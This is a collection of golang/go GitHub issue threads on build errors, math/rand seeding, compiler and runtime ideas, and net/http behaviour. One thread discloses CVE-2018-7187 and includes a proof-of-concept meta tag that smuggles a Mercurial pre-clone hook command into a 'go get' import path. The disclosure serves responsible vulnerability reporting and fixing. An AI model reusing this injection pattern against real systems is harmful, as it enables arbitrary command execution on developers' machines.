text:
x/sys/unix: broken for freebsd/{arm,386}

Please answer these questions before submitting your issue. Thanks!
What version of Go are you using (go version)?
go version go1.8.3 linux/amd64
What operating system and processor architecture are you using (go env)?
GOARCH="amd64"
GOBIN=""
GOEXE=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GOOS="linux"
GOPATH="/home/ncw/go"
GORACE=""
GOROOT="/opt/go/go1.8"
GOTOOLDIR="/opt/go/go1.8/pkg/tool/linux_amd64"
GCCGO="gccgo"
CC="gcc"
GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build712833005=/tmp/go-build -gno-record-gcc-switches"
CXX="g++"
CGO_ENABLED="1"
PKG_CONFIG="pkg-config"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"

What did you do?
cd ${GOPATH}/src/golang.org/x/sys
GOOS=freebsd GOARCH=386 go install ./...

What did you expect to see?
No error
What did you see instead?
# golang.org/x/sys/unix
unix/cap_freebsd.go:18: undefined: CAP_RIGHTS_VERSION_00
unix/cap_freebsd.go:19: undefined: CAP_RIGHTS_VERSION_00
unix/cap_freebsd.go:19: const initializer CAP_RIGHTS_VERSION_00 + 2 is not a constant
unix/cap_freebsd.go:46: undefined: CapRights
unix/cap_freebsd.go:50: undefined: CapRights
unix/cap_freebsd.go:55: undefined: CapRights
unix/cap_freebsd.go:90: undefined: CapRights
unix/cap_freebsd.go:125: undefined: CapRights
unix/cap_freebsd.go:164: undefined: CapRights
unix/cap_freebsd.go:179: undefined: CapRights
unix/cap_freebsd.go:179: too many errors

I bisected the problem to this commit
https://github.com/golang/sys/commit/7a4fde3fda8ef580a89dbae8138c26041be14299
@benlaurie committed with @ianlancetaylor
According to https://go-review.googlesource.com/c/47290/ the trybots ran OK so I'm a bit puzzled about this.

the trybots ran OK so I'm a bit puzzled about this.

Breaks compilation of any go package on FBSD i386 too.

the trybots ran OK so I'm a bit puzzled about this.

I filed #21163

According to https://go-review.googlesource.com/c/47290/ the trybots ran OK so I'm a bit puzzled about this.

AFAIK we don't have a freebsd/386 trybot.

Hello. May I claim this issue?

@slon, yes, you could've sent a change (no need to ask), but the fix was simple enough that I just sent it.

I'm getting this error too @ncw, how did you solve it?

@hacdias just update - it should be fixed now. It is for me any way.

I'm getting this error on Travis though with Go 1.8.3. I'll try to figure out why.

What version of FreeBSD are those with problems running?

In my case it's cross compiling on Ubuntu Trusty on Travis CI.

I guess whatever you're using for cross-compiling is not up-to-date...

I'll check that out, thanks @benlaurie

@hacdias You need to update golang.org/x/sys so go get -u golang.org/x/sys

The build is still broken on freebsd/arm.
export GOOS=freebsd
export GOARCH=arm

go build
# golang.org/x/sys/unix
./cap_freebsd.go:18:23: undefined: CAP_RIGHTS_VERSION_00
./cap_freebsd.go:19:2: const initializer CAP_RIGHTS_VERSION_00 + 2 is not a constant
./cap_freebsd.go:19:23: undefined: CAP_RIGHTS_VERSION_00
./cap_freebsd.go:46:21: undefined: CapRights
./cap_freebsd.go:50:24: undefined: CapRights
./cap_freebsd.go:55:27: undefined: CapRights
./cap_freebsd.go:90:29: undefined: CapRights
./cap_freebsd.go:125:29: undefined: CapRights
./cap_freebsd.go:164:39: undefined: CapRights
./cap_freebsd.go:179:41: undefined: CapRights
./cap_freebsd.go:179:41: too many errors

go test -c
# golang.org/x/sys/unix
./cap_freebsd.go:18:23: undefined: CAP_RIGHTS_VERSION_00
./cap_freebsd.go:19:2: const initializer CAP_RIGHTS_VERSION_00 + 2 is not a constant
./cap_freebsd.go:19:23: undefined: CAP_RIGHTS_VERSION_00
./cap_freebsd.go:46:21: undefined: CapRights
./cap_freebsd.go:50:24: undefined: CapRights
./cap_freebsd.go:55:27: undefined: CapRights
./cap_freebsd.go:90:29: undefined: CapRights
./cap_freebsd.go:125:29: undefined: CapRights
./cap_freebsd.go:164:39: undefined: CapRights
./cap_freebsd.go:179:41: undefined: CapRights
./cap_freebsd.go:179:41: too many errors

Yeah, I get the exact same error on Travis, which always downloads the latest commit of each dependency through go get.

It's also broken on openbsd/arm6:
GOOS=openbsd GOARCH=arm GOARM=6 go build -ldflags='-s -w -X main.version=1.0.4 -X main.commit=1dcb5944c3de638dfa22f8c19728820f33118496 -X main.date=2017-07-31T09:47:18Z' -o dist/openbsd-arm-filemanager/filemanager cmd/filemanager/main.go

travis@d282747cb28c:~/gopath/src/github.com/hacdias/filemanager$ GOOS=openbsd GOARCH=arm GOARM=6 go build -ldflags='-s -w -X main.version=1.0.4 -X main.commit=1dcb5944c3de638dfa22f8c19728820f33118496 -X main.date=2017-07-31T09:47:18Z' -o dist/openbsd-arm-filemanager/filemanager cmd/filemanager/main.go
# golang.org/x/sys/unix
../../../golang.org/x/sys/unix/flock.go:16: undefined: Flock_t
../../../golang.org/x/sys/unix/sockcmsg_unix.go:37: undefined: Cmsghdr
../../../golang.org/x/sys/unix/sockcmsg_unix.go:43: undefined: Cmsghdr

No error without ldflags.

@hacdias,
That's an obviously different issue. Please file an new issue and makes this issue focus on FreeBSD stuff.

I am using goxc, to cross-compile but  getting exactly this error, tried to update go get -u golang.org/x/sys/unix but still having the issue, current go version: go version go1.8.3 darwin/amd64 just in case this is the Makefile some output:
$ make compile
/Users/nbari/projects/go/bin/goxc -os="freebsd netbsd openbsd darwin linux windows" -bc="!386"
[goxc:go-vet] 2017/08/03 13:25:33 Task go-vet succeeded
ok      github.com/ssh-vault/ssh-vault  3.109s
?       github.com/ssh-vault/ssh-vault/cmd/ssh-vault    [no test files]
[goxc:go-test] 2017/08/03 13:25:37 Task go-test succeeded
[goxc:go-install] 2017/08/03 13:25:37 Task go-install succeeded
[goxc:xc] 2017/08/03 13:25:37 Parallelizing xc for 9 platforms, using max 3 of 4 processors
# golang.org/x/sys/unix
../../../../../golang.org/x/sys/unix/cap_freebsd.go:18: undefined: CAP_RIGHTS_VERSION_00
../../../../../golang.org/x/sys/unix/cap_freebsd.go:19: undefined: CAP_RIGHTS_VERSION_00
../../../../../golang.org/x/sys/unix/cap_freebsd.go:19: const initializer CAP_RIGHTS_VERSION_00 + 2 is not a constant
../../../../../golang.org/x/sys/unix/cap_freebsd.go:46: undefined: CapRights
../../../../../golang.org/x/sys/unix/cap_freebsd.go:50: undefined: CapRights
../../../../../golang.org/x/sys/unix/cap_freebsd.go:55: undefined: CapRights
../../../../../golang.org/x/sys/unix/cap_freebsd.go:90: undefined: CapRights
../../../../../golang.org/x/sys/unix/cap_freebsd.go:125: undefined: CapRights
../../../../../golang.org/x/sys/unix/cap_freebsd.go:164: undefined: CapRights
../../../../../golang.org/x/sys/unix/cap_freebsd.go:179: undefined: CapRights
../../../../../golang.org/x/sys/unix/cap_freebsd.go:179: too many errors
[goxc:xc] 2017/08/03 13:26:10 'go' returned error: Wait error: exit status 2: # golang.org/x/sys/unix

The problem is goxc doesn't have support for current FreeBSD, it seems.

@benlaurie Hi, thanks for the hint, I just tried with this:
env GOOS=freebsd GOARCH=amd64 make

and is working.

The Capsicum types and constants in x/sys/unix were not generated for freebsd/arm or freebsd/386 in https://golang.org/cl/47290. I fixed the situation for freebsd/386 in https://golang.org/cl/51570 and will try to get a freebsd/arm system set up somewhere to generate them there as well (I didn't manage to generate them using a cross-compile setup).

authors: ALTree agilob benlaurie bradfitz hacdias mikioh nbari ncw slon tklauser


text:
math: rand: not random.

Please answer these questions before submitting your issue. Thanks!
What version of Go are you using (go version)?
[jkayser@oel7latest exercise7.3]$ go version
go version go1.9 linux/amd64
[jkayser@oel7latest exercise7.3]$
Does this issue reproduce with the latest release?
Yes.
What operating system and processor architecture are you using (go env)?
[jkayser@oel7latest exercise7.3]$ go env
GOARCH="amd64"
GOBIN=""
GOEXE=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GOOS="linux"
GOPATH="/home/jkayser"
GORACE=""
GOROOT="/usr/local/go1.9"
GOTOOLDIR="/usr/local/go1.9/pkg/tool/linux_amd64"
GCCGO="gccgo"
CC="gcc"
GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build505664125=/tmp/go-build -gno-record-gcc-switches"
CXX="g++"
CGO_ENABLED="1"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
[jkayser@oel7latest exercise7.3]$
What did you do?
If possible, provide a recipe for reproducing the error.
A complete runnable program is good.
A link on play.golang.org is best.
I was doing Exercise 7.3 in the Go Programming Language book.  It has you modify the code from section 4.4 (treesort).  When I added code to dump the tree structure (prior to sorting) it dumps the same structure every time.  I think the structure is supposed to be randomly populated, but the math.random is generating the same random numbers every time.
https://github.com/adonovan/gopl.io/blob/master/ch4/treesort/sort_test.go
What did you expect to see?
Somewhat ramdomness in the generated numbers, even if they were not cryptographically secure.
What did you see instead?
The same random numbers generated every time.

[jkayser@oel7latest exercise7.3]$ cat treesort_test.go
// Copyright © 2016 Alan A. A. Donovan & Brian W. Kernighan.
// License: https://creativecommons.org/licenses/by-nc-sa/4.0/
package treesort_test
import (
"fmt"
"math/rand"
"sort"
"testing"
"treesort"

)
func TestSort(t *testing.T) {
data := make([]int, 50)
for i := range data {
data[i] = rand.Int() % 50
}
fmt.Println( treesort.GetTree(data) )

treesort.Sort(data)

if !sort.IntsAreSorted(data) {
	t.Errorf("not sorted: %v", data)
}

fmt.Println( treesort.GetTree(data) )

}
[jkayser@oel7latest exercise7.3]$

[jkayser@oel7latest exercise7.3]$ cat src/treesort/treesort.go
// Copyright © 2016 Alan A. A. Donovan & Brian W. Kernighan.
// License: https://creativecommons.org/licenses/by-nc-sa/4.0/
// See page 101.
// Package treesort provides insertion sort using an unbalanced binary tree.
package treesort
import (
"strconv"
)
//!+
type Tree struct {
value       int
left, right *Tree
}
// Sort sorts values in place.
func Sort(values []int) {
var root *Tree
for _, v := range values {
root = add(root, v)
}
appendValues(values[:0], root)
}
func GetTree(values []int) (*Tree) {
var root *Tree
for _, v := range values {
root = add(root, v)
}
return (root)
}
// appendValues appends the elements of t to values in order
// and returns the resulting slice.
func appendValues(values []int, t *Tree) []int {
if t != nil {
values = appendValues(values, t.left)
values = append(values, t.value)
values = appendValues(values, t.right)
}
return values
}
func add(t *Tree, value int) *Tree {
if t == nil {
// Equivalent to return &Tree{value: value}.
t = new(Tree)
t.value = value
return t
}
if value < t.value {
t.left = add(t.left, value)
} else {
t.right = add(t.right, value)
}
return t
}
//!-
func (t *Tree) String() string {
value := "{"value":" + strconv.Itoa((*t).value) + ","
if (*t).left != nil {
value = value + ""left":" + (*t).left.String() + ","
} else {
value = value + ""left":null,"
}
if (*t).right != nil {
value = value + ""right":" + (*t).right.String()
} else {
value = value + ""right":null"
}
value = value + "}"
return value
}
[jkayser@oel7latest exercise7.3]$

[jkayser@oel7latest exercise7.3]$ cat run.sh
GOPATH="pwd:$GOPATH" go test
[jkayser@oel7latest exercise7.3]$ ./run.sh
{"value":10,"left":{"value":1,"left":{"value":0,"left":null,"right":null},"right":{"value":1,"left":null,"right":{"value":8,"left":{"value":6,"left":{"value":3,"left":{"value":2,"left":null,"right":null},"right":null},"right":{"value":7,"left":null,"right":{"value":7,"left":null,"right":null}}},"right":{"value":9,"left":null,"right":{"value":9,"left":null,"right":null}}}}},"right":{"value":21,"left":{"value":20,"left":{"value":16,"left":{"value":15,"left":{"value":11,"left":{"value":10,"left":null,"right":null},"right":{"value":12,"left":null,"right":null}},"right":{"value":15,"left":null,"right":null}},"right":{"value":18,"left":{"value":16,"left":null,"right":null},"right":{"value":19,"left":null,"right":null}}},"right":{"value":20,"left":null,"right":null}},"right":{"value":37,"left":{"value":34,"left":{"value":24,"left":{"value":23,"left":{"value":22,"left":{"value":21,"left":null,"right":{"value":21,"left":null,"right":null}},"right":null},"right":{"value":23,"left":null,"right":{"value":23,"left":null,"right":null}}},"right":{"value":31,"left":{"value":28,"left":null,"right":{"value":30,"left":null,"right":null}},"right":{"value":33,"left":{"value":32,"left":null,"right":null},"right":null}}},"right":{"value":36,"left":null,"right":null}},"right":{"value":48,"left":{"value":37,"left":null,"right":{"value":41,"left":{"value":40,"left":{"value":37,"left":null,"right":{"value":38,"left":null,"right":{"value":39,"left":null,"right":null}}},"right":null},"right":{"value":44,"left":{"value":43,"left":null,"right":null},"right":{"value":47,"left":null,"right":null}}}},"right":{"value":49,"left":null,"right":null}}}}}
{"value":0,"left":null,"right":{"value":1,"left":null,"right":{"value":1,"left":null,"right":{"value":2,"left":null,"right":{"value":3,"left":null,"right":{"value":6,"left":null,"right":{"value":7,"left":null,"right":{"value":7,"left":null,"right":{"value":8,"left":null,"right":{"value":9,"left":null,"right":{"value":9,"left":null,"right":{"value":10,"left":null,"right":{"value":10,"left":null,"right":{"value":11,"left":null,"right":{"value":12,"left":null,"right":{"value":15,"left":null,"right":{"value":15,"left":null,"right":{"value":16,"left":null,"right":{"value":16,"left":null,"right":{"value":18,"left":null,"right":{"value":19,"left":null,"right":{"value":20,"left":null,"right":{"value":20,"left":null,"right":{"value":21,"left":null,"right":{"value":21,"left":null,"right":{"value":21,"left":null,"right":{"value":22,"left":null,"right":{"value":23,"left":null,"right":{"value":23,"left":null,"right":{"value":23,"left":null,"right":{"value":24,"left":null,"right":{"value":28,"left":null,"right":{"value":30,"left":null,"right":{"value":31,"left":null,"right":{"value":32,"left":null,"right":{"value":33,"left":null,"right":{"value":34,"left":null,"right":{"value":36,"left":null,"right":{"value":37,"left":null,"right":{"value":37,"left":null,"right":{"value":37,"left":null,"right":{"value":38,"left":null,"right":{"value":39,"left":null,"right":{"value":40,"left":null,"right":{"value":41,"left":null,"right":{"value":43,"left":null,"right":{"value":44,"left":null,"right":{"value":47,"left":null,"right":{"value":48,"left":null,"right":{"value":49,"left":null,"right":null}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
PASS
ok  	_/home/jkayser/projects/jkayser/gopl/chapter7/exercise7.3	0.001s
[jkayser@oel7latest exercise7.3]$

This is working as intended. There is a difference between deterministic and non-deterministic pseudo-randomness. The sequence of values is pseudo-random, but it is deterministically generated unless you provide a seed:
rand.Seed(time.Now().UnixNano())

Why doesn't it initialized with a seed?

There is value in having deterministic pseudo-randomness and the need for non-determinism is trivially done with the one line shown above.

As you noticed, it also makes it more clear that these are deterministic, which hopefully avoids people mistakingly using them for cryptographic purposes.

Deterministic is a big word.  Why not just call it "not random"?  So, you can correctly say that the math rand function returns a "not random" (deterministic) number if a seed has not been supplied.
Geeze, throw the poor developer a bone, and add a basic seed initialization call to the package init() function.
func init() {
Seed(time.Now().UnixNano())
}
That would be better than nothing.  Or, if you really don't want to do that, have rand return an error if the seed has not been supplied:
if !seeded {
return 0, errors.New("seed not supplied")
}
Why even have a rand function that isn't cryptographically secure?  Eliminate it.  That way, developers who want randomness will not be able to get unrandomness under any circumstance.

Better yet, have math rand just call crypto rand, and eliminate the caveat about being deterministic.

If the authors of the original code (Alan A. A. Donovan & Brian W. Kernighan) can forget to call the Seed function before calling Rand, what is the likelihood that lesser developers will make the same mistake?

source: gharchive/issue

repo: golang/go

license_type: permissive

license_source: github-api


text:
cmd/compile: avoid allocations for some return values

A non-inlinable function that returns new memory always allocates it on the heap. For example, in the base64 package the DecodeString method returns a heap-allocated byte slice:
func (enc *Encoding) DecodeString(s string) ([]byte, error)
It is common for this return value to have limited life, easily scoped to the stack:
b, err := enc.DecodeString(s)
if err != nil { ... }
data = append(data, b...)

For cases like this, the DecodeString method could have been made more efficient by writing in a style where the []byte was passed as an argument:
func (enc *Encoding) AppendDecodeString(out []byte, s string) ([]byte, error)
No heap allocation is necessary for calling this version. This transformation has been manually applied in many places in the standard library, from the Append* functions in strconv to io.Reader itself.
The compiler could do this automatically.
For concrete methods, the original function signature can be satisfied by a wrapper function, that allocates the value on the heap and calls a variant where return values containing pointers are passed as "out" arguments. When compiling code that can keep the output on the stack, the caller can be modified to use the generated functions.
For example, the implementation of DecodeString is:
func (enc *Encoding) DecodeString(s string) ([]byte, error) {
        dbuf := make([]byte, enc.DecodedLen(len(s)))
        n, _, err := enc.decode(dbuf, []byte(s))
        return dbuf[:n], err
}

Currently, escape analysis determines that dbuf escapes to the heap without ever seeing how the value is used. Instead, the compiler can split this function in two, an inlinable allocation function, and a body:
func (enc *Encoding) ΨDecodeString(s string) []byte {
        return make([]byte, enc.DecodedLen(len(s)))
}

func (enc *Encoding) ΦDecodeString(s string, dbuf *[]byte) error {
        n, _, err := enc.decode(*dbuf, []byte(s))
        *dbuf = dbuf[:n]
        return err
}

func (enc *Encoding) DecodeString(s string) ([]byte, error) {
        out := enc.ΨDecodeString(s) // inlined
        err := enc.ΦDecodeString(s, &out)
        return out, err
}

Then the compiler can transform callers of DecodeString where the return value would fit on the stack to two calls to ΨDecodeString and ΦDecodeString. The first is inlined, determined not to escape and so dbuf lives on the stack.
The general analysis of can the Ψ allocation function be inlined, and how does it pass data dependencies to the Φ function could get complicated.

Has there been research into whether the extra compiler work would be worth it? Don't get me wrong - this would be great - just wondering if it has been taken into account.
Also, would this be transitive, e.g. also work through multiple calls instead of just one?

I haven't done any research on how it would affect compiler time, or how often it would trigger. I suspect the easiest way to answer both would be to build a prototype. (I don't intend to anytime soon, just wanted to write the idea down.)
As described, I believe it would work through multiple calls. The Ψ-function would be inlined into the intermediate function, and a new Ψ-function for that intermediate function would be extracted from the inlined body. A lot would depend on inlining at the right time.

As for Append*-style functions for encoding/base64 package, see the proposal https://github.com/golang/go/issues/19366

authors: crawshaw mvdan valyala


text:
crypto/x509: intermediates with unknown critical extensions not rejected [Go1.8]

Go 1.8 version of #22260.

CL 69294 OK for Go 1.8.5.

go1.8.5 has been packaged and includes:

CL 70842

The release is posted at golang.org/dl.
— golang.org/x/build/cmd/releasebot, Oct 26 21:07:50 UTC


text:
gomobile: binding 'main' package () is not supported

Please answer these questions before submitting your issue. Thanks!
What version of Go are you using (go version)?
go1.9.2 linux/amd64
Does this issue reproduce with the latest release?
Yes
What operating system and processor architecture are you using (go env)?
linux amd64
What did you do?
I ran  gomobile bind -target android
If possible, provide a recipe for reproducing the error.
git clone https://github.com/decred/dcrwallet
 gomobile bind -target android
What did you expect to see?
I don't know what was supposed to show but all i wanted to do was to compile my project to an Android library so i can import it into my Android studio project
What did you see instead?
gomobile: binding 'main' package () is not supported

This is working as intended, you should use gomobile bind against a non-main package (it will create bindings for the exported symbols)
For questions about Go, see https://golang.org/wiki/Questions

authors: C-ollins titanous


text:
net/http: http.Get: connection reset by peer on macOS

What version of Go are you using (go version)?
go version go1.9.2 darwin/amd64
Does this issue reproduce with the latest release?
yes
What operating system and processor architecture are you using (go env)?
GOARCH="amd64"
GOBIN="/Users/roman/go/bin"
GOEXE=""
GOHOSTARCH="amd64"
GOHOSTOS="darwin"
GOOS="darwin"
GOPATH="/Users/roman/go"
GORACE=""
GOROOT="/usr/local/go"
GOTOOLDIR="/usr/local/go/pkg/tool/darwin_amd64"
GCCGO="gccgo"
CC="clang"
GOGCCFLAGS="-fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=/var/folders/dr/8l_15wcn2_bfj47vdvsm4q3w0000gn/T/go-build185245545=/tmp/go-build -gno-record-gcc-switches -fno-common"
CXX="clang++"
CGO_ENABLED="1"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
What did you do?
It's very simple code :).
I try to http.Get("http://google.com") and receive error: Get http://google.com: read tcp 10.9.58.79:51401->172.217.5.238:80: read: connection reset by peer. Domain is no matter, it's not working for all domains :(
Here is a simple example of code:
package main

import (
	"net/http"
)

func main() {
	http.Get("http://google.com")
}

After several experiments I came to the conclusion that error receives only on http request, on https works fine like this http.Get("https://google.com") and this bug receives only on macOS ! I tried on linux and everything worked as it should. My system is:
System: macOS 10.13.1 (17B1003)
Kernel: Darwin 17.2.0

And by the end of my experiments, I noticed that if I add the User-Agent header (empty or not empty, it's not matter), everything works fine like this:
package main

import (
	"net/http"
	"fmt"
)

func main() {
	req, err := http.NewRequest("GET", "http://google.com/", nil)
	if err != nil {
		panic(err)
	}
	req.Header.Set("User-Agent", "")

	fmt.Println(http.DefaultClient.Do(req))
}

What did you expect to see?
result of request
What did you see instead?
error

Sorry, the problem was in my private tunnel vpn, I turned it off and it all worked fine


text:
cmd/go: arbitrary command execution via VCS path

I contacted security@golang.org about this and was allowed to create a public issue.
This has been assigned CVE-2018-7187.
What version of Go are you using (go version)?
go version go1.9.4 linux/amd64 (earlier versions are also affected)
Does this issue reproduce with the latest release?
Yes.
What did you do?

The go get implementation, when the -insecure command-line option is used, does not validate the import path, which allows remote attackers to execute arbitrary OS commands via a crafted website.
For example, this command should execute echo hello $USER:
go get -insecure khashaev.ru/go-vuln

See https://khashaev.ru/go-vuln/index.html:
<meta name="go-import" content="khashaev.ru/go-vuln hg --config=hooks.pre-clone=echo${IFS}hello${IFS}$USER;echo${IFS}https://>/dev/null">

The proof of concept presented above is targeting Mercurial.
What did you expect to see?
package khashaev.ru/go-vuln: unrecognized import path "khashaev.ru/go-vuln"

What did you see instead?
hello inviz
abort: repository /home/inviz/go/src/khashaev.ru/go-vuln not found!
package khashaev.ru/go-vuln: exit status 255

@ianlancetaylor and I discussed this and we were thinking something like https://go-review.googlesource.com/c/go/+/94603 which is a little bit safer (in terms of not breaking people), compared to https://golang.org/cl/94656. Especially for so late in the Go 1.10 cycle.

@bradfitz @ianlancetaylor is this a release-blocker for Go1.10?

After thinking about a bit more I'm not sure that it is a release blocker for 1.10.  As far as we can tell it is only insecure if you explicitly say go get -insecure.  I'm not sure that calls for an immediate fix.  I think it may be OK to fix this in 1.10.1.
@bradfitz ?

My inclination right now is to go with my CL (94603) for patch releases, including 1.10.1, but go with @Invizory 's CL (94656) for 1.11.  That should give us plenty of time to find out whether full URL parsing will work, and back off if it won't.

SGTM on both of the previous two comments.

This has been assigned CVE-2018-7187.

I've submitted my CL, setting up to backport to 1.10.1 and 1.9.4.  @Invizory unfortunately you'll need to rebase your CL and fix the merge conflicts, then we can get that in for 1.11.  Thanks.

s/1.9.4/1.9.5/ ?

The issue is fixed for 1.11, reopening for a backport to 1.10.1.

My inclination right now is to go with my CL (94603) for patch releases, including 1.10.1, but go with @Invizory 's CL (94656) for 1.11. That should give us plenty of time to find out whether full URL parsing will work, and back off if it won't.

@ianlancetaylor What about golang.org/x/tools/go/vcs package? I can send a CL for it, but should we go with 94656 right away, or start with 94603 and apply 94656 later?

For golang.org/x we can use 94656 right away.  Thanks.

I've sent CL 94899 for golang.org/x.

I actually considered reporting this before putting in the report that prompted 1.9.4, but figured -insecure being insecure wasn't really an issue. 😕

CL 94603 OK for Go 1.10.1

authors: Invizory andybons bradfitz ccbrown ianlancetaylor mikioh shurcooL


text:
runtime: add g.p

Some important and hot data is stored in Ps, such as write barrier buffers and defer pools. Getting from a G to a P currently requires evaluating g.m.p. We should consider adding a direct link, g.p, to avoid an extra memory lookup. This should reduce memory lookups and cache pressure / cache misses on hot code, particularly write barrier writes.
This might also enable us to eliminate the mcache.
This requires updating g.p every time a G gets (un)scheduled.
I took a stab at this but never quite got it working. I hope someone else might.
cc @aclements @dvyukov

cc @benesch :)

I happened to write this code while debugging #27660 yesterday:
https://go-review.googlesource.com/c/go/+/148823/1/src/runtime/proc.go
It has all places for wiring and unwiring g and p marked. Feel free to productionize and submit.

authors: dvyukov josharian


text:
net/http: File PUT is slower than CURL when network is slow

What version of Go are you using (go version)?
go version go1.10.3 darwin/amd64
Does this issue reproduce with the latest release?
yes
What operating system and processor architecture are you using (go env)?
GOARCH="amd64"
GOBIN="/Users/test/go/bin"
GOCACHE="/Users/test/Library/Caches/go-build"
GOEXE=""
GOHOSTARCH="amd64"
GOHOSTOS="darwin"
GOOS="darwin"
GOPATH="/Users/test/go"
GORACE=""
GOROOT="/usr/local/Cellar/go/1.10.3/libexec"
GOTMPDIR=""
GOTOOLDIR="/usr/local/Cellar/go/1.10.3/libexec/pkg/tool/darwin_amd64"
GCCGO="gccgo"
CC="clang"
CXX="clang++"
CGO_ENABLED="1"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=/var/folders/76/trlnwqwj0bs5003x850kzpg00000gn/T/go-build781190647=/tmp/go-build -gno-record-gcc-switches -fno-common"
Scenario:
I have a network with Download speed :400kbit/s Upload:400kbit/s RTT:200ms
I have http client developed in Golang.
Wanted to transfer 1MB file to a web server.
What did you expect to see?
File upload must almost be same to curl or other web clients.
What did you see instead?
Curl took ~28s
Go client took ~42s
More Information on environment, tools:
How does Go react when there are issues with network.
To mimic network delay - https://github.com/sitespeedio/throttle
web server : https://github.com/sashgorokhov/docker-nginx-webdav
Source Code

package main

import (

   "io/ioutil"
   "time"
   "fmt"
   "net/http"
   "strings"

)

func main() {

   client := &http.Client{}
   url := "http://localhost:9080/file.txt"
   rb, _ := ioutil.ReadFile("file1mb.txt")
   request, err := http.NewRequest("PUT", url, strings.NewReader(string(rb)))
   //request.ContentLength = int64(len(string(rb)))
   sTime := time.Now()
   response, err := client.Do(request)
   eTime := time.Since(sTime)
   fmt.Println(eTime.String())
   if err != nil {
      fmt.Println(err)
   } else {
      fmt.Println(request.Header)
      defer response.Body.Close()
      fmt.Println(response.Status)
    }
}

Tried with and without Content-Length header(chunked encoding) in the http request.
My concern is for 1mb file I see a difference what if file size is 100MB+?

For a 30MB file we saw difference of about 3minutes+ with Go net/http when compared to Curl.
Condition/Environment: When network is slow.

Is this reproducible with client and server being on the same machine ? Would like to investigate this on my laptop.

@agnivade Yes this is continuously reproducible, provided we delay the n/w.

Oh, I see this is for http. Could you also kindly check for http2 client and see if you get similar results ?
This would help us pin-point the issue faster.

@subbu05 have you had a chance to run the same code using http.DefaultTransport which is the core of the Client. That could help us narrow down where the bottleneck is.

/cc @bradfitz

@meirf I tested with http.DefaultTransport and I see curl and golang client file upload are all most ~same rate.

@subbu05 using your exact code as the client and the below Go code as the server, I am not seeing any difference in performance vs curl. Can you please show us the exact command you are using to run https://github.com/sashgorokhov/docker-nginx-webdav? If you or anyone has time ideally we would want to see this perf degradation with a Go server, if this problem is indeed with http.Client.
Go server:
package main

import (
	"fmt"
	"io"
	"net/http"
	"os"
	"log"
)

func main() {
	http.HandleFunc("/file.txt", uploadHandler)
	http.ListenAndServe(":9080", nil)
}

func uploadHandler(w http.ResponseWriter, r *http.Request) {
	log.Printf("uploadHandler start")
	file, err := os.Create("./result")
	if err != nil {
		panic(err)
	}
	n, err := io.Copy(file, r.Body)
	if err != nil {
		panic(err)
	}

	w.Write([]byte(fmt.Sprintf("%d bytes are recieved.\n", n)))
	log.Printf("uploadHandler end")
}

curl -X PUT -H "Content-Type: application/octet-stream" --data-binary '@file1mb.txt' http://127.0.0.1:9080/file.txt

@meirf
Steps:
0. Install throttle - https://github.com/sitespeedio/throttle

Started the nginx container  - docker run --name webdav -p 9080:80 -v /media:/media -d sashgorokhov/webdav
to mimic the latency in the network run the command throttle --profile 3gslow
run curl command - time curl -X PUT -T file.txt "http://localhost:9080/file1.txt"
run go client with same file.txt to the url http://localhost:9080/file2.txt (capture the time)

Observed:
30Mb file upload  - I am seeing 3 minutes+ difference between curl and go.

@meirf, the title of this bug no longer makes sense, since DefaultClient uses DefaultTransport. I don't see how they could have different speeds.

authors: agnivade bradfitz meirf subbu05


text:
x/net/http2: Transport is leaking streams on broken Body

Please answer these questions before submitting your issue. Thanks!
What version of Go are you using (go version)?
go version go1.10.3 linux/amd64
Does this issue reproduce with the latest release?
Yes
What operating system and processor architecture are you using (go env)?
linux, amd64
What did you do?

Create golang.org/x/net/http2.Transport
Send POST request with non-nil Body
Body returns an error on Read call

What did you expect to see?
Client fails the request and resets the stream.
What did you see instead?
Client fails the request and leaks the stream (on both client and server sides).

Thanks, @odeke-em.
Pull request has a test which exposes the issue. Though let me try to combine some standalone example as well.

Standalone example: https://gist.github.com/euroelessar/6f4535db11b8bf024d85253cdaa1db1f
It fails against master x/net/http2 package (deadline on the last GET call due to exceeding concurrency limit).

In case of request body write error, the stream is not reset/forgotten. The following patch fixes the issue, though I'm not sure a cancel is the right response to such problem spec-wise:
diff --git a/http2/transport.go b/http2/transport.go
index 9d1f2fa..b5c8701 100644
--- a/http2/transport.go
+++ b/http2/transport.go
@@ -1060,7 +1060,12 @@ func (cc *ClientConn) roundTrip(req *http.Request) (res *http.Response, gotErrAf
                        default:
                        }
                        if err != nil {
-                          return nil, cs.getStartedWrite(), err
+                               startedWrite := cs.getStartedWrite()
+                               if startedWrite {
+                                       cc.writeStreamReset(cs.ID, ErrCodeCancel, nil)
+                               }
+                               cc.forgetStreamID(cs.ID)
+                               return nil, startedWrite, err
                        }
                        bodyWritten = true
                        if d := cc.responseHeaderTimeout(); d != 0 {

This issue seems to be the same one behind GoogleCloudPlatform/google-cloud-go#1211 and hashicorp/vault#5419.
I see this is attached to the Go 1.12 milestone, but the CL hasn't received any feedback. Are there plans to look at this?

Approved & submitted into x/net. Needs bundle into std.

Thanks for the fast response!

Thank you!
It would be great if the fix could be backported to 1.11

@gopherbot, please backport to Go 1.11.

